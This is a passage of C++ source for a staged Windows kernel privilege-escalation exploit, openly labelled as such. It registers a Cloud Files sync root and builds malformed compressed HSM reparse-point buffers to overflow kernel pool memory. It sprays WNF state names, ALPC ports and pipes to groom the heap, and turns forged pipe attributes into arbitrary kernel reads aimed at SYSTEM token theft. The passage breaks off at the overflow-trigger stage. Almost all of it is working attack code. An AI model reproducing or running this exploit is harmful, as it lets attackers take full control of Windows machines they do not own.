static PNtQueryWnfStateData         g_NtQueryWnfStateData = NULL;
static PNtDeleteWnfStateName        g_NtDeleteWnfStateName = NULL;
static PNtAlpcCreatePort            g_NtAlpcCreatePort = NULL;
```

```
static PNtAlpcCreateResourceReserve g_NtAlpcCreateResourceReserve = NULL;
static PNtFsControlFile             g_NtFsControlFile = NULL;
static PNtAlpcSendWaitReceivePort   g_NtAlpcSendWaitReceivePort = NULL;
static PNtOpenProcess               g_NtOpenProcess = NULL;
static PNtOpenProcessTokenEx        g_NtOpenProcessTokenEx = NULL;
static PNtDuplicateToken            g_NtDuplicateToken = NULL;
static PNtSetInformationThread      g_NtSetInformationThread = NULL;
static PNtClose                     g_NtClose = NULL;
static PNtWriteVirtualMemory        g_NtWriteVirtualMemory = NULL;
static PNtQuerySystemInformation    g_NtQuerySystemInformation = NULL;

static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_pad_names;
static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_names;
static std::unique_ptr<BOOL[]>           g_wnf_active;
static std::unique_ptr<HANDLE[]>         g_alpc_ports;
static int    g_victim_index = -1;
static PVOID  g_leaked_kalpc = NULL;
static HANDLE g_saved_reserve_handle = NULL;

static DECLSPEC_ALIGN(16) BYTE g_fake_pipe_attr[0x1000];
static DECLSPEC_ALIGN(16) BYTE g_fake_pipe_attr2[0x1000];
static char g_fake_attr_name[] = "hackedfakepipe";
static char g_fake_attr_name2[] = "alexandre";
static int g_target_pipe_index = -1;

static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_pad_names_second;
static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_names_second;
static std::unique_ptr<BOOL[]>           g_wnf_active_second;
static std::unique_ptr<HANDLE[]>         g_pipe_read;
static std::unique_ptr<HANDLE[]>         g_pipe_write;
static int   g_victim_index_second = -1;
static PVOID g_leaked_pipe_attr = NULL;

static ULONG64 g_alpc_port_addr = 0;
static ULONG64 g_alpc_handle_table_addr = 0;
static ULONG64 g_alpc_message_addr = 0;
static ULONG64 g_eprocess_addr = 0;
static ULONG64 g_system_eprocess = 0;
static ULONG64 g_our_eprocess = 0;
static ULONG64 g_system_token = 0;
static ULONG64 g_system_token_raw = 0;
static ULONG64 g_our_token = 0;
static ULONG g_winlogon_pid = 0;
static ULONG64 g_our_kthread = 0;

static KALPC_RESERVE* g_fake_kalpc_reserve = NULL;
static KALPC_MESSAGE* g_fake_kalpc_message = NULL;
static BYTE* g_fake_kalpc_reserve_object = NULL;
static BYTE* g_fake_kalpc_message_object = NULL;
static BYTE           g_kthread_pre_read[16] = { 0 };

static wchar_t g_syncRootPath[MAX_PATH];
static wchar_t g_filePath[MAX_PATH];
static wchar_t g_filePath_second[MAX_PATH];

#define RESOLVE_FUNCTION(module, func_ptr, func_type, func_name) \
```

```
    do { \
        func_ptr = (func_type)GetProcAddress(module, func_name); \
        if (!func_ptr) { \
            printf("[-] Failed to resolve: %s\n", func_name); \
            return FALSE; \
        } \
    } while(0)

static ULONG Calculate_CRC32(ULONG seed, const void* buf, size_t len) {
    ULONG crc = ~seed;
    const unsigned char* p = (const unsigned char*)buf;
    for (size_t i = 0; i < len; ++i) {
        crc ^= p[i];
        for (int j = 0; j < 8; ++j) {
            if (crc & 1) crc = (crc >> 1) ^ 0xEDB88320;
            else crc >>= 1;
        }
    }
    return ~crc;
}

static BOOL IsKernelPointer(ULONG64 value) {
    return ((value & 0xFFFF000000000000ULL) == 0xFFFF000000000000ULL) &&
        (value != 0xFFFFFFFFFFFFFFFFULL) &&
        (value != 0x5151515151515151ULL) &&
        (value != 0x5252525252525252ULL);
}

static BOOL RefreshPipeCorruption(ULONG64 target_addr, ULONG size) {
    if (g_victim_index_second == -1) return FALSE;

    ULONG64* fake1 = (ULONG64*)g_fake_pipe_attr;
    fake1[0] = (ULONG64)g_fake_pipe_attr2;
    fake1[1] = (ULONG64)g_leaked_pipe_attr;
    fake1[2] = (ULONG64)g_fake_attr_name;
    fake1[3] = size;
    fake1[4] = target_addr;
    fake1[5] = 0x4747474747474747ULL;

    ULONG64* fake2 = (ULONG64*)g_fake_pipe_attr2;
    fake2[0] = 0x4848484848484848ULL;
    fake2[1] = (ULONG64)g_fake_pipe_attr;
    fake2[2] = (ULONG64)g_fake_attr_name2;
    fake2[3] = size;
    fake2[4] = target_addr;
    fake2[5] = 0x4949494949494949ULL;

    auto overflow_data = std::make_unique<BYTE[]>(0xFF8);
    memset(overflow_data.get(), 0x50, 0xFF8);
    *(ULONG64*)(overflow_data.get() + 0xFF8 - 8) = (ULONG64)g_fake_pipe_attr;

    NTSTATUS status = g_NtUpdateWnfStateData(
        &g_wnf_names_second[g_victim_index_second],
        overflow_data.get(), 0xFF8, NULL, NULL, CHANGE_STAMP_SECOND, 0
    );
```

```
    return (status == 0);
}

static BOOL ReadKernel64(ULONG64 address, ULONG64* out_value) {
    if (g_target_pipe_index == -1 || address == 0) return FALSE;

    RefreshPipeCorruption(address, 0x8);

    BYTE buffer[0x100] = { 0 };
    IO_STATUS_BLOCK iosb = {};

    NTSTATUS status = g_NtFsControlFile(
        g_pipe_write[g_target_pipe_index],
        NULL, NULL, NULL, &iosb,
        FSCTL_PIPE_GET_PIPE_ATTRIBUTE,
        g_fake_attr_name, (ULONG)strlen(g_fake_attr_name) + 1,
        buffer, sizeof(buffer)
    );

    if (status != 0) {
        printf("ReadKernel64 failed: target=0x%llX, status=0x%08X, pipe_idx=%d\n",
            address, status, g_target_pipe_index);
        return FALSE;
    }

    *out_value = *(ULONG64*)buffer;
    return TRUE;
}

static BOOL ReadKernelBuffer(ULONG64 address, PVOID buffer, ULONG size) {
    if (g_target_pipe_index == -1 || address == 0 || buffer == NULL || size == 0) {
        return FALSE;
    }

    RefreshPipeCorruption(address, size);

    BYTE out_buffer[0x1000] = { 0 };
    IO_STATUS_BLOCK iosb = {};

    NTSTATUS status = g_NtFsControlFile(
        g_pipe_write[g_target_pipe_index],
        NULL, NULL, NULL, &iosb,
        FSCTL_PIPE_GET_PIPE_ATTRIBUTE,
        g_fake_attr_name, (ULONG)strlen(g_fake_attr_name) + 1,
        out_buffer, sizeof(out_buffer)
    );

    if (status != 0) return FALSE;
    memcpy(buffer, out_buffer, size);
    return TRUE;
}

static BOOL DiscoverKthreadEarly(void) {
    DWORD our_pid = GetCurrentProcessId();
    DWORD our_tid = GetCurrentThreadId();
    printf("[*] Pre-discovering KTHREAD for PID=%lu TID=%lu\n", our_pid, our_tid);
```

```
    HANDLE hOurThread = NULL;
    if (!DuplicateHandle(GetCurrentProcess(), GetCurrentThread(),
        GetCurrentProcess(), &hOurThread, 0, FALSE, DUPLICATE_SAME_ACCESS)) {
        printf("[-] DuplicateHandle(CurrentThread) failed: %lu\n", GetLastError());
        return FALSE;
    }

    ULONG buf_size = 0x400000;
    BYTE* handle_buf = NULL;
    NTSTATUS nt_status;

    for (int attempt = 0; attempt < 8; attempt++) {
        handle_buf = (BYTE*)malloc(buf_size);
        if (!handle_buf) {
            CloseHandle(hOurThread);
            return FALSE;
        }
        nt_status = g_NtQuerySystemInformation(64, handle_buf, buf_size, NULL);
        if (nt_status == (NTSTATUS)0xC0000004) {
            free(handle_buf);
            handle_buf = NULL;
            buf_size *= 2;
            continue;
        }
        break;
    }

    if (nt_status != 0 || !handle_buf) {
        printf("[-] NtQuerySystemInformation(64) failed: 0x%08X\n", (ULONG)nt_status);
        if (handle_buf) free(handle_buf);
        CloseHandle(hOurThread);
        return FALSE;
    }

    SYSTEM_HANDLE_INFORMATION_EX* handle_info =
(SYSTEM_HANDLE_INFORMATION_EX*)handle_buf;

    for (ULONG_PTR i = 0; i < handle_info->NumberOfHandles; i++) {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX* entry = &handle_info->Handles[i];
        if (entry->UniqueProcessId == (ULONG_PTR)our_pid &&
            entry->HandleValue == (ULONG_PTR)hOurThread) {
            g_our_kthread = (ULONG64)entry->Object;
            break;
        }
    }

    free(handle_buf);
    CloseHandle(hOurThread);

    if (g_our_kthread == 0) {
        printf("[-] Failed to find KTHREAD in handle table\n");
        return FALSE;
    }

    printf("[+] KTHREAD: 0x%016llX (will verify PreviousMode in Stage 21)\n",
```

```
        (unsigned long long)g_our_kthread);
    return TRUE;
}

static BOOL InitializeNtdllFunctions(void) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) {
        printf("[-] Failed to get ntdll.dll handle\n");
        return FALSE;
    }

    RESOLVE_FUNCTION(hNtdll, g_NtCreateWnfStateName, PNtCreateWnfStateName,
"NtCreateWnfStateName");
    RESOLVE_FUNCTION(hNtdll, g_NtUpdateWnfStateData, PNtUpdateWnfStateData,
"NtUpdateWnfStateData");
    RESOLVE_FUNCTION(hNtdll, g_NtQueryWnfStateData, PNtQueryWnfStateData,
"NtQueryWnfStateData");
    RESOLVE_FUNCTION(hNtdll, g_NtDeleteWnfStateName, PNtDeleteWnfStateName,
"NtDeleteWnfStateName");
    RESOLVE_FUNCTION(hNtdll, g_NtAlpcCreatePort, PNtAlpcCreatePort,
"NtAlpcCreatePort");
    RESOLVE_FUNCTION(hNtdll, g_NtAlpcCreateResourceReserve,
PNtAlpcCreateResourceReserve, "NtAlpcCreateResourceReserve");
    RESOLVE_FUNCTION(hNtdll, g_NtFsControlFile, PNtFsControlFile, "NtFsControlFile");
    RESOLVE_FUNCTION(hNtdll, g_NtAlpcSendWaitReceivePort, PNtAlpcSendWaitReceivePort,
"NtAlpcSendWaitReceivePort");
    RESOLVE_FUNCTION(hNtdll, g_NtOpenProcess, PNtOpenProcess, "NtOpenProcess");
    RESOLVE_FUNCTION(hNtdll, g_NtOpenProcessTokenEx, PNtOpenProcessTokenEx,
"NtOpenProcessTokenEx");
    RESOLVE_FUNCTION(hNtdll, g_NtDuplicateToken, PNtDuplicateToken,
"NtDuplicateToken");
    RESOLVE_FUNCTION(hNtdll, g_NtSetInformationThread, PNtSetInformationThread,
"NtSetInformationThread");
    RESOLVE_FUNCTION(hNtdll, g_NtClose, PNtClose, "NtClose");
    RESOLVE_FUNCTION(hNtdll, g_NtWriteVirtualMemory, PNtWriteVirtualMemory,
"NtWriteVirtualMemory");
    RESOLVE_FUNCTION(hNtdll, g_NtQuerySystemInformation, PNtQuerySystemInformation,
"NtQuerySystemInformation");

    printf("[+] All ntdll functions resolved\n");
    return TRUE;
}

static BOOL InitializeSyncRoot(void) {
    PWSTR appDataPath = NULL;
    HRESULT hr = SHGetKnownFolderPath(FOLDERID_RoamingAppData, 0, NULL, &appDataPath);
    if (FAILED(hr)) {
        printf("[-] Failed to get AppData path\n");
        return FALSE;
    }

    swprintf(g_syncRootPath, MAX_PATH, L"%s\\MySyncRoot", appDataPath);
    CreateDirectoryW(g_syncRootPath, NULL);

    swprintf(g_filePath, MAX_PATH, L"%s\\trigger_first", g_syncRootPath);
    swprintf(g_filePath_second, MAX_PATH, L"%s\\trigger_second", g_syncRootPath);
```

```
    CF_SYNC_REGISTRATION registration = {};
    registration.StructSize = sizeof(registration);
    registration.ProviderName = L"ExploitProvider";
    registration.ProviderVersion = L"1.0";
    registration.ProviderId = ProviderId;

    LPCWSTR identity = L"ExploitIdentity";
    registration.SyncRootIdentity = identity;
    registration.SyncRootIdentityLength = (DWORD)(wcslen(identity) * sizeof(WCHAR));

    CF_SYNC_POLICIES policies = {};
    policies.StructSize = sizeof(policies);
    policies.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
    policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
    policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
    policies.PlaceholderManagement =
CF_PLACEHOLDER_MANAGEMENT_POLICY_UPDATE_UNRESTRICTED;

    hr = CfRegisterSyncRoot(g_syncRootPath, &registration, &policies,
        CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);

    if (FAILED(hr)) {
        printf("[-] Sync root registration failed: 0x%08lX\n", (unsigned long)hr);
        CoTaskMemFree(appDataPath);
        return FALSE;
    }

    printf("[+] Sync root registered: %ls\n", g_syncRootPath);
    CoTaskMemFree(appDataPath);
    return TRUE;
}

typedef enum _HSM_ELEMENT_OFFSETS {
    ELEM_TYPE = 0x00, ELEM_LENGTH = 0x02, ELEM_OFFSET = 0x04,
} HSM_ELEMENT_OFFSETS;

typedef enum _HSM_FERP_OFFSETS {
    FERP_VERSION = 0x00, FERP_STRUCT_SIZE = 0x02, FERP_MAGIC = 0x04,
    FERP_CRC = 0x08, FERP_LENGTH = 0x0C, FERP_FLAGS = 0x10, FERP_MAX_ELEMS = 0x12
} HSM_FERP_OFFSETS;

typedef enum _HSM_BTRP_OFFSETS {
    BTRP_MAGIC = 0x04, BTRP_CRC = 0x08, BTRP_LENGTH = 0x0C,
    BTRP_FLAGS = 0x10, BTRP_MAX_ELEMS = 0x12
} HSM_BTRP_OFFSETS;

static USHORT BtRpBuildBuffer(HSM_ELEMENT_INFO* elements, char** input_data, int count,
char* btrp_data_buffer) {
    memset(btrp_data_buffer, 0, BTRP_BUFFER_SIZE);
    *(ULONG*)(btrp_data_buffer + BTRP_MAGIC) = HSM_BITMAP_MAGIC;
    *(USHORT*)(btrp_data_buffer + BTRP_MAX_ELEMS) = (USHORT)count;

    char* ptr = btrp_data_buffer + HSM_HEADER_SIZE;
    for (int i = 0; i < count; i++) {
        *(USHORT*)(ptr + ELEM_TYPE) = elements[i].Type;
```

```
        *(USHORT*)(ptr + ELEM_LENGTH) = elements[i].Length;
        *(ULONG*)(ptr + ELEM_OFFSET) = elements[i].Offset;
        memcpy(btrp_data_buffer + elements[i].Offset + 4, input_data[i],
elements[i].Length);
        ptr += sizeof(HSM_ELEMENT_INFO);
    }

    USHORT max_offset = 0;
    for (int i = 0; i < count; i++) {
        USHORT end = (USHORT)(elements[i].Offset + elements[i].Length);
        if (end > max_offset) max_offset = end;
    }

    USHORT total = (USHORT)(max_offset + 4);
    *(USHORT*)(btrp_data_buffer + BTRP_LENGTH) = total;
    *(USHORT*)(btrp_data_buffer + BTRP_FLAGS) = HSM_DATA_HAVE_CRC;

    if (total <= 8 + 0x0C) return 0;

    ULONG crc = Calculate_CRC32(0, btrp_data_buffer + BTRP_LENGTH, (ULONG)(total - 8));
    *(ULONG*)(btrp_data_buffer + BTRP_CRC) = crc;

    return total;
}

static USHORT FeRpBuildBuffer(HSM_ELEMENT_INFO* elements, char** input_data, int count,
char* ferp_ptr, USHORT max_elements) {
    memset(ferp_ptr, 0, FERP_BUFFER_SIZE);
    *(USHORT*)(ferp_ptr + FERP_VERSION) = VERSION_VALUE;
    *(ULONG*)(ferp_ptr + FERP_MAGIC) = HSM_FILE_MAGIC;
    *(USHORT*)(ferp_ptr + FERP_FLAGS) = HSM_DATA_HAVE_CRC;
    *(USHORT*)(ferp_ptr + FERP_MAX_ELEMS) = max_elements;

    char* descPtr = ferp_ptr + HSM_HEADER_SIZE;
    for (int i = 0; i < count; i++) {
        *(USHORT*)(descPtr + ELEM_TYPE) = elements[i].Type;
        *(USHORT*)(descPtr + ELEM_LENGTH) = elements[i].Length;
        *(ULONG*)(descPtr + ELEM_OFFSET) = elements[i].Offset;
        memcpy(ferp_ptr + elements[i].Offset, input_data[i], elements[i].Length);
        descPtr += HSM_ELEMENT_INFO_SIZE;
    }

    USHORT position_limit = 0;
    for (int i = 0; i < count; i++) {
        USHORT end = (USHORT)(elements[i].Offset + elements[i].Length);
        if (end > position_limit) position_limit = end;
    }

    USHORT rem = (USHORT)(position_limit % FERP_ALIGN);
    if (rem != 0) position_limit = (USHORT)(position_limit + (FERP_ALIGN - rem));

    *(ULONG*)(ferp_ptr + FERP_LENGTH) = (ULONG)(position_limit - 4);
    if (position_limit <= HSM_ELEMENT_TYPE_MAX) return 0;

    ULONG crc = Calculate_CRC32(0, ferp_ptr + FERP_LENGTH, (ULONG)(position_limit - 8 -
4));
```

```
    *(ULONG*)(ferp_ptr + FERP_CRC) = crc;
    *(USHORT*)(ferp_ptr + FERP_STRUCT_SIZE) = position_limit;

    return position_limit;
}

static unsigned long FeRpCompressBuffer(char* input_buffer, unsigned short input_size,
char* output_buffer) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) return 0;

    auto fnGetWorkSpaceSize = (PRtlGetCompressionWorkSpaceSize)GetProcAddress(hNtdll,
"RtlGetCompressionWorkSpaceSize");
    auto fnCompressBuffer = (PRtlCompressBuffer)GetProcAddress(hNtdll,
"RtlCompressBuffer");
    if (!fnGetWorkSpaceSize || !fnCompressBuffer) return 0;

    ULONG workSpaceSize = 0, fragWorkSpaceSize = 0;
    if (fnGetWorkSpaceSize(2, &workSpaceSize, &fragWorkSpaceSize) != 0) return 0;

    std::unique_ptr<char[]> workspace(new char[workSpaceSize]);
    ULONG compressedSize = 0;

    if (fnCompressBuffer(2, (PUCHAR)(input_buffer + 4), (ULONG)(input_size - 4),
        (PUCHAR)output_buffer, FERP_BUFFER_SIZE, FERP_BUFFER_SIZE,
        &compressedSize, workspace.get()) != 0) return 0;

    return compressedSize;
}

static int BuildAndSetReparsePoint(HANDLE hFile, int payload_size, char* payload_buf) {
    const int COUNT = ELEMENT_NUMBER;
    auto bt_elements = std::make_unique<HSM_ELEMENT_INFO[]>(COUNT);

    bt_elements[0].Type = HSM_ELEMENT_TYPE_BYTE;   bt_elements[0].Length = 0x1;
    bt_elements[1].Type = HSM_ELEMENT_TYPE_BYTE;   bt_elements[1].Length = 0x1;
    bt_elements[2].Type = HSM_ELEMENT_TYPE_BYTE;   bt_elements[2].Length = 0x1;
    bt_elements[3].Type = HSM_ELEMENT_TYPE_UINT64; bt_elements[3].Length = 0x8;
    bt_elements[4].Type = HSM_ELEMENT_TYPE_BITMAP; bt_elements[4].Length =
(USHORT)payload_size;

    bt_elements[0].Offset = ELEMENT_START_OFFSET;
    bt_elements[1].Offset = ELEMENT_START_OFFSET + 0x04;
    bt_elements[2].Offset = ELEMENT_START_OFFSET + 0x08;
    bt_elements[3].Offset = ELEMENT_START_OFFSET + 0x0C;
    bt_elements[4].Offset = ELEMENT_START_OFFSET + 0x18;

    std::unique_ptr<char[]> bt_buf(new char[BTRP_BUFFER_SIZE]);
    BYTE bt_data_00 = 0x01, bt_data_01 = 0x10, bt_data_02 = 0x00;
    UINT64 bt_data_03 = 0x0;
    char* bt_data[COUNT] = { (char*)&bt_data_00, (char*)&bt_data_01,
(char*)&bt_data_02, (char*)&bt_data_03, payload_buf };

    USHORT bt_size = BtRpBuildBuffer(bt_elements.get(), bt_data, COUNT, bt_buf.get());
    if (bt_size == 0) return -1;
```

```
    auto fe_elements = std::make_unique<HSM_ELEMENT_INFO[]>(COUNT);
    fe_elements[0].Type = HSM_ELEMENT_TYPE_BYTE;   fe_elements[0].Length = 0x1;
    fe_elements[1].Type = HSM_ELEMENT_TYPE_UINT32; fe_elements[1].Length = 0x4;
    fe_elements[2].Type = HSM_ELEMENT_TYPE_UINT64; fe_elements[2].Length = 0x8;
    fe_elements[3].Type = HSM_ELEMENT_TYPE_BITMAP; fe_elements[3].Length = 0x4;
    fe_elements[4].Type = HSM_ELEMENT_TYPE_BITMAP; fe_elements[4].Length = bt_size;

    fe_elements[0].Offset = ELEMENT_START_OFFSET;
    fe_elements[1].Offset = ELEMENT_START_OFFSET + 0x04;
    fe_elements[2].Offset = ELEMENT_START_OFFSET + 0x08;
    fe_elements[3].Offset = ELEMENT_START_OFFSET + 0x0C;
    fe_elements[4].Offset = ELEMENT_START_OFFSET + 0x18;

    std::unique_ptr<char[]> fe_buf(new char[FERP_BUFFER_SIZE]);
    BYTE fe_data_00 = 0x74;
    UINT32 fe_data_01 = 0x00000001;
    UINT64 fe_data_02 = 0x0;
    UINT32 fe_data_03 = 0x00000040;
    char* fe_data[COUNT] = { (char*)&fe_data_00, (char*)&fe_data_01,
(char*)&fe_data_02, (char*)&fe_data_03, bt_buf.get() };

    USHORT fe_size = FeRpBuildBuffer(fe_elements.get(), fe_data, COUNT, fe_buf.get(),
MAX_ELEMS);
    if (fe_size == 0) return -1;

    std::unique_ptr<char[]> compressed(new char[COMPRESSED_SIZE]);
    unsigned long compressed_size = FeRpCompressBuffer(fe_buf.get(), fe_size,
compressed.get());
    if (compressed_size == 0 || compressed_size > COMPRESSED_SIZE) return -1;

    USHORT cf_payload_len = (USHORT)(4 + compressed_size);
    std::unique_ptr<char[]> cf_blob(new char[cf_payload_len]);
    *(USHORT*)(cf_blob.get() + 0) = 0x8001;
    *(USHORT*)(cf_blob.get() + 2) = fe_size;
    memcpy(cf_blob.get() + 4, compressed.get(), compressed_size);

    REPARSE_DATA_BUFFER_EX rep_data = {};
    rep_data.Flags = 0x1;
    rep_data.ExistingReparseTag = IO_REPARSE_TAG_CLOUD_6;
    rep_data.ExistingReparseGuid = ProviderId;
    rep_data.ReparseDataBuffer.ReparseTag = IO_REPARSE_TAG_CLOUD_6;
    rep_data.ReparseDataBuffer.ReparseDataLength = cf_payload_len;
    memcpy(rep_data.ReparseDataBuffer.GenericReparseBuffer.DataBuffer, cf_blob.get(),
cf_payload_len);

    DWORD inSize = (DWORD)(offsetof(REPARSE_DATA_BUFFER_EX,
ReparseDataBuffer.GenericReparseBuffer.DataBuffer) + cf_payload_len);
    DWORD bytesReturned = 0;

    return DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT_EX, &rep_data, inSize, NULL,
0, &bytesReturned, NULL) ? 0 : -1;
}

//================================================================================
// STAGE 01: DEFRAGMENTATION
//================================================================================
```

```
static BOOL Stage01_Defragmentation(void) {
    printf("\n=======================================\n");
    printf("    STAGE 01: DEFRAGMENTATION\n");
    printf("=======================================\n");

    for (int round = 0; round < 2; round++) {
        auto pipes = std::make_unique<PIPE_PAIR[]>(DEFRAG_PIPE_COUNT);
        DWORD created = 0;

        for (DWORD i = 0; i < DEFRAG_PIPE_COUNT; i++) {
            if (CreatePipe(&pipes[i].hRead, &pipes[i].hWrite, NULL, 0x100)) created++;
            else pipes[i].hRead = pipes[i].hWrite = NULL;
        }

        Sleep(SLEEP_SHORT);

        for (DWORD i = 0; i < DEFRAG_PIPE_COUNT; i++) {
            if (pipes[i].hRead) CloseHandle(pipes[i].hRead);
            if (pipes[i].hWrite) CloseHandle(pipes[i].hWrite);
        }

        printf("[+] Round %d: %lu/%lu pipes\n", round + 1, created, DEFRAG_PIPE_COUNT);
    }

    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 01 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 02: CREATE WNF NAMES
//============================================================================

static BOOL Stage02_CreateWnfNames(void) {
    printf("\n=======================================\n");
    printf("    STAGE 02: CREATE WNF NAMES\n");
    printf("=======================================\n");

    g_wnf_pad_names = std::make_unique<WNF_STATE_NAME[]>(WNF_PAD_SPRAY_COUNT);
    g_wnf_names = std::make_unique<WNF_STATE_NAME[]>(WNF_SPRAY_COUNT);
    g_wnf_active = std::make_unique<BOOL[]>(WNF_SPRAY_COUNT);
    memset(g_wnf_active.get(), 0, WNF_SPRAY_COUNT * sizeof(BOOL));

    PSECURITY_DESCRIPTOR pSecurityDescriptor = nullptr;
    ConvertStringSecurityDescriptorToSecurityDescriptorW(L"", SDDL_REVISION_1,
&pSecurityDescriptor, nullptr);

    DWORD padCreated = 0;
    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT; i++) {
        if (g_NtCreateWnfStateName(&g_wnf_pad_names[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor) == 0)
            padCreated++;
    }
    printf("[+] Created %lu padding WNF names\n", padCreated);
```

```
    DWORD actualCreated = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT; i++) {
        if (g_NtCreateWnfStateName(&g_wnf_names[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor) == 0)
            actualCreated++;
    }
    printf("[+] Created %lu actual WNF names\n", actualCreated);

    LocalFree(pSecurityDescriptor);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 02 COMPLETE\n");
    return TRUE;
}

//================================================================================
// STAGE 03: ALPC PORTS
//================================================================================

static BOOL Stage03_AlpcPorts(void) {
    printf("\n=======================================\n");
    printf("    STAGE 03: ALPC PORTS\n");
    printf("=======================================\n");

    g_alpc_ports = std::make_unique<HANDLE[]>(ALPC_PORT_COUNT);
    memset(g_alpc_ports.get(), 0, ALPC_PORT_COUNT * sizeof(HANDLE));

    DWORD created = 0;
    for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
        ALPC_PORT_ATTRIBUTES portAttr = {};
        portAttr.MaxMessageLength = 0x500;
        OBJECT_ATTRIBUTES objAttr = {};
        objAttr.Length = sizeof(OBJECT_ATTRIBUTES);

        if (g_NtAlpcCreatePort(&g_alpc_ports[i], &objAttr, &portAttr) == 0) created++;
        else g_alpc_ports[i] = NULL;
    }

    printf("[+] Created %lu ALPC ports\n", created);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 03 COMPLETE\n");
    return (created >= ALPC_PORT_COUNT / 2);
}

//================================================================================
// STAGE 04: UPDATE WNF PADDING DATA
//================================================================================

static BOOL Stage04_UpdateWnfPaddingData(void) {
    printf("\n=======================================\n");
    printf("    STAGE 04: UPDATE WNF PADDING DATA\n");
    printf("=======================================\n");

    auto wnf_data = std::make_unique<BYTE[]>(WNF_DATA_SIZE);
```

```
    memset(wnf_data.get(), 0x51, WNF_DATA_SIZE);

    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT; i++)
        g_NtUpdateWnfStateData(&g_wnf_pad_names[i], wnf_data.get(), WNF_DATA_SIZE,
NULL, NULL, 0, 0);

    printf("[+] Updated padding WNF data\n");
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 04 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 05: UPDATE WNF STATE DATA
//============================================================================

static BOOL Stage05_UpdateWnfStateData(void) {
    printf("\n=======================================\n");
    printf("    STAGE 05: UPDATE WNF STATE DATA\n");
    printf("=======================================\n");

    auto wnf_data = std::make_unique<BYTE[]>(WNF_DATA_SIZE);
    memset(wnf_data.get(), 0x51, WNF_DATA_SIZE);

    DWORD actualUpdated = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT; i++) {
        if (g_NtUpdateWnfStateData(&g_wnf_names[i], wnf_data.get(), WNF_DATA_SIZE,
NULL, NULL, 0, 0) == 0) {
            g_wnf_active[i] = TRUE;
            actualUpdated++;
        }
    }
    printf("[+] Updated %lu actual WNF objects\n", actualUpdated);

    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 05 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 06: CREATE HOLES
//============================================================================

static BOOL Stage06_CreateHoles(void) {
    printf("\n=======================================\n");
    printf("    STAGE 06: CREATE HOLES\n");
    printf("=======================================\n");

    DWORD deleted = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT; i += 2) {
        if (g_wnf_active[i]) {
            if (g_NtDeleteWnfStateName(&g_wnf_names[i]) == 0) {
                g_wnf_active[i] = FALSE;
                deleted++;
```

```
            }
        }
    }

    printf("[+] Created %lu holes\n", deleted);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 06 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 07: PLACE OVERFLOW BUFFER
//============================================================================

static BOOL Stage07_PlaceOverflow(void) {
    printf("\n=======================================\n");
    printf("    STAGE 07: PLACE OVERFLOW BUFFER\n");
    printf("=======================================\n");

    SetFileAttributesW(g_filePath, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath);

    HANDLE hFile = CreateFileW(g_filePath, GENERIC_ALL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create file: %lu\n", GetLastError());
        return FALSE;
    }

    std::unique_ptr<char[]> payload(new char[REPARSE_DATA_SIZE]);
    memset(payload.get(), PAYLOAD_FILL_BYTE, 0x1000);
    memset(payload.get() + 0x1000, 0, REPARSE_DATA_SIZE - 0x1000);

    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x00) = 0x00200904;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x04) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x08) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x0C) = CHANGE_STAMP_FIRST;

    int rc = BuildAndSetReparsePoint(hFile, PAYLOAD_SIZE_OVERFLOW, payload.get());
    CloseHandle(hFile);

    if (rc != 0) {
        printf("[-] Failed to set reparse point\n");
        return FALSE;
    }

    printf("[+] Reparse point set (ChangeStamp=0x%04X)\n", CHANGE_STAMP_FIRST);
    printf("[+] Stage 07 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 08: TRIGGER OVERFLOW
```

```
//============================================================================

static BOOL Stage08_TriggerOverflow(void) {
    printf("\n=======================================\n");
    printf("    STAGE 08: TRIGGER OVERFLOW\n");
    printf("=======================================\n");

    HANDLE hFile = CreateFileW(g_filePath, GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

